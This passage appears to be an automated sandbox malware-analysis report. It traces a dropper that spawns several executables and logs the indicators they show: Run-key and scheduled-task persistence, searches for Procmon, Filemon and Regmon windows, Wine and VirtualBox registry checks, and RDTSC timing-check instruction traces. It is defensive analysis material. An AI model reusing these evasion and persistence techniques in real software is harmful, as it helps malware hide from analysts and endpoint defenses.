Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d71513cd6d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d71513cd6d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c49dbdc29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c49dbdc29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93ee6c8e33.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93ee6c8e33.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0059F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		15_2_0059F98E
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00611C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		15_2_00611C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_15-95303

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_3-9936
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-10167

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D9C6 second address: 57D9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F3DB4B27726h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D9D7 second address: 57D9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D9DB second address: 57D9F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F3DB4B27726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F3DB4B2774Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D9F1 second address: 57D9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D9F5 second address: 57D9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB35 second address: 57DB41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F3DB4EC7BA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB41 second address: 57DB45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB45 second address: 57DB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3DB4EC7BA8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB5B second address: 57DB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB61 second address: 57DB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB65 second address: 57DB75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DB75 second address: 57DB7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F6DD second address: 57F6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F6E2 second address: 57F70A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DB4EC7BA8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3DB4EC7BB9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F70A second address: 57F735 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DB4B27728h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov esi, dword ptr [ebp+122D1C9Eh] 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 xor eax, 18EF65BBh 0x0000001c mov eax, 1EB65957h 0x00000021 popad 0x00000022 push 99A944FAh 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F735 second address: 57F7AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b popad 0x0000000c add dword ptr [esp], 6656BB86h 0x00000013 push ebx 0x00000014 jns 00007F3DB4EC7BACh 0x0000001a pop edx 0x0000001b push 00000003h 0x0000001d cmc 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F3DB4EC7BA8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov edx, dword ptr [ebp+122D3B13h] 0x00000040 push 00000003h 0x00000042 mov edi, dword ptr [ebp+122D39EBh] 0x00000048 push 40FECBCCh 0x0000004d pushad 0x0000004e jmp 00007F3DB4EC7BB4h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F7AC second address: 57F7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F858 second address: 57F955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov esi, dword ptr [ebp+122D39E7h] 0x00000012 mov si, 377Bh 0x00000016 push 00000000h 0x00000018 jmp 00007F3DB4EC7BB8h 0x0000001d push 38604132h 0x00000022 jp 00007F3DB4EC7BB2h 0x00000028 xor dword ptr [esp], 386041B2h 0x0000002f sub edx, dword ptr [ebp+122D39CBh] 0x00000035 jmp 00007F3DB4EC7BB9h 0x0000003a push 00000003h 0x0000003c mov di, cx 0x0000003f push 00000000h 0x00000041 add dword ptr [ebp+122D1DDBh], eax 0x00000047 push 00000003h 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007F3DB4EC7BA8h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 0000001Dh 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 mov edx, dword ptr [ebp+122D38ABh] 0x00000069 call 00007F3DB4EC7BA9h 0x0000006e jmp 00007F3DB4EC7BAAh 0x00000073 push eax 0x00000074 jmp 00007F3DB4EC7BB4h 0x00000079 mov eax, dword ptr [esp+04h] 0x0000007d jmp 00007F3DB4EC7BB8h 0x00000082 mov eax, dword ptr [eax] 0x00000084 push eax 0x00000085 push edx 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 popad 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F955 second address: 57F969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27730h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F969 second address: 57F96E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F96E second address: 57F983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F3DB4B27726h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F983 second address: 57F99D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F99D second address: 57F9D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add dx, 3AE2h 0x00000010 mov cl, 53h 0x00000012 lea ebx, dword ptr [ebp+124545F9h] 0x00000018 jmp 00007F3DB4B2772Eh 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 push eax 0x00000021 pop eax 0x00000022 je 00007F3DB4B27726h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b push edx 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FA2F second address: 57FA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D2124h], ecx 0x0000000d push 00000000h 0x0000000f call 00007F3DB4EC7BA9h 0x00000014 jbe 00007F3DB4EC7BAEh 0x0000001a push eax 0x0000001b push ecx 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f pop eax 0x00000020 pop ecx 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 je 00007F3DB4EC7BB7h 0x0000002b mov eax, dword ptr [eax] 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FA7E second address: 57FAAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F3DB4B27726h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jno 00007F3DB4B27726h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAAB second address: 57FAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAB0 second address: 57FAEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27733h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a movzx edi, bx 0x0000000d push 00000003h 0x0000000f push 00000000h 0x00000011 sub dword ptr [ebp+122D1E2Ch], edi 0x00000017 push 00000003h 0x00000019 or dword ptr [ebp+122D2244h], edi 0x0000001f call 00007F3DB4B27729h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAEC second address: 57FAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAF0 second address: 57FAF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FAF6 second address: 57FAFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
